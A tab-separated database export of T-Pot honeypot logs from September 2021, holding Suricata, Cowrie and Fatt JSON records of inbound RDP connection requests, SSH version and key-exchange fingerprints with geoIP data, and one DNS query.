"Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1134446670990986, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64762, "dest_port": 3389, "timestamp": "2021-09-20T11:39:04.439009Z", "@timestamp": "2021-09-20T11:39:04.439Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30851	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:39:12.136962+03	2021-09-20 14:45:03.710143+03	{"_id": "tAYAA3wBvYTbRNuEvz8l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:12.012508+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 891993620230364, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 12952, "timestamp": "2021-09-20T11:39:12.136962Z", "@timestamp": "2021-09-20T11:39:12.136Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30852	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:39:12.086745+03	2021-09-20 14:45:03.711142+03	{"_id": "twYAA3wBvYTbRNuEvz8l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:12.012508+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 891993620230364, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 12952, "dest_port": 3389, "timestamp": "2021-09-20T11:39:12.086745Z", "@timestamp": "2021-09-20T11:39:12.086Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30853	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:39:12.210891+03	2021-09-20 14:45:03.712142+03	{"_id": "tgYAA3wBvYTbRNuEvz8l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:12.012508+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 891993620230364, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 12952, "dest_port": 3389, "timestamp": "2021-09-20T11:39:12.210891Z", "@timestamp": "2021-09-20T11:39:12.210Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30855	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:39:12.086745+03	2021-09-20 14:45:03.715142+03	{"_id": "tQYAA3wBvYTbRNuEvz8l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:12.012508+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 891993620230364, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 12952, "dest_port": 3389, "timestamp": "2021-09-20T11:39:12.086745Z", "@timestamp": "2021-09-20T11:39:12.086Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30856	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:39:12.210891+03	2021-09-20 14:45:03.716142+03	{"_id": "uAYAA3wBvYTbRNuEvz8l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:12.012508+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 891993620230364, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 12952, "dest_port": 3389, "timestamp": "2021-09-20T11:39:12.210891Z", "@timestamp": "2021-09-20T11:39:12.210Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30857	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:39:04.093686+03	2021-09-20 14:45:03.717142+03	{"_id": "mgYAA3wBvYTbRNuEnz_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:03.741002+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1134446670990986, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 64762, "timestamp": "2021-09-20T11:39:04.093686Z", "@timestamp": "2021-09-20T11:39:04.093Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30858	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:39:04.074058+03	2021-09-20 14:45:03.719142+03	{"_id": "nQYAA3wBvYTbRNuEnz_h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:03.741002+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1134446670990986, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64762, "dest_port": 3389, "timestamp": "2021-09-20T11:39:04.074058Z", "@timestamp": "2021-09-20T11:39:04.074Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30906	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:00.440385+03	2021-09-20 14:45:03.784144+03	{"_id": "GQYBA3wBvYTbRNuEekC4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49388, "type": "query", "tx_id": 0, "rrname": "debian.map.fastlydns.net", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 790567970715713, "@version": "1", "in_iface": "enp5s0", "src_port": 51231, "dest_port": 53, "timestamp": "2021-09-20T11:40:00.440385Z", "@timestamp": "2021-09-20T11:40:00.440Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30859	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:39:04.439009+03	2021-09-20 14:45:03.720142+03	{"_id": "ngYAA3wBvYTbRNuEnz_h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:03.741002+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1134446670990986, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64762, "dest_port": 3389, "timestamp": "2021-09-20T11:39:04.439009Z", "@timestamp": "2021-09-20T11:39:04.439Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30860	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:39:28.856474+03	2021-09-20 14:45:03.722142+03	{"_id": "4wYAA3wBvYTbRNuE_j--", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51640, "timestamp": "2021-09-20T11:39:28.856474", "@timestamp": "2021-09-20T11:39:28.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30861	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:39:28.603205+03	2021-09-20 14:45:03.723142+03	{"_id": "6wYAA3wBvYTbRNuE_z_1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d2c9760089c8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:39:28.603205Z", "@timestamp": "2021-09-20T11:39:28.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30862	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:39:29.129108+03	2021-09-20 14:45:03.724154+03	{"_id": "7QYAA3wBvYTbRNuE_z_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d1aade0b5e33", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:39:29.129108Z", "@timestamp": "2021-09-20T11:39:29.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30863	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:39:28.86058+03	2021-09-20 14:45:03.726142+03	{"_id": "7wYAA3wBvYTbRNuE_z_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d2c9760089c8", "@version": "1", "timestamp": "2021-09-20T11:39:28.860580Z", "@timestamp": "2021-09-20T11:39:28.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30865	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:39:29.412439+03	2021-09-20 14:45:03.728142+03	{"_id": "8QYBA3wBvYTbRNuEAT-U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1025184852137751, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2131, "dest_port": 22, "timestamp": "2021-09-20T11:39:29.412439Z", "@timestamp": "2021-09-20T11:39:29.412Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30866	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:39:29.412876+03	2021-09-20 14:45:03.729141+03	{"_id": "8gYBA3wBvYTbRNuEAj-n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2131, "dest_port": 22, "timestamp": "2021-09-20T11:39:29.412876", "@timestamp": "2021-09-20T11:39:29.412Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30867	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:39:15.156635+03	2021-09-20 14:45:03.731142+03	{"_id": "wQYAA3wBvYTbRNuEyT8-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:60548 (192.168.176.2:22) [session: 0da8ac4e2fce]", "session": "0da8ac4e2fce", "@version": "1", "protocol": "ssh", "src_port": 60548, "dest_port": 22, "timestamp": "2021-09-20T11:39:15.156635Z", "@timestamp": "2021-09-20T11:39:15.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
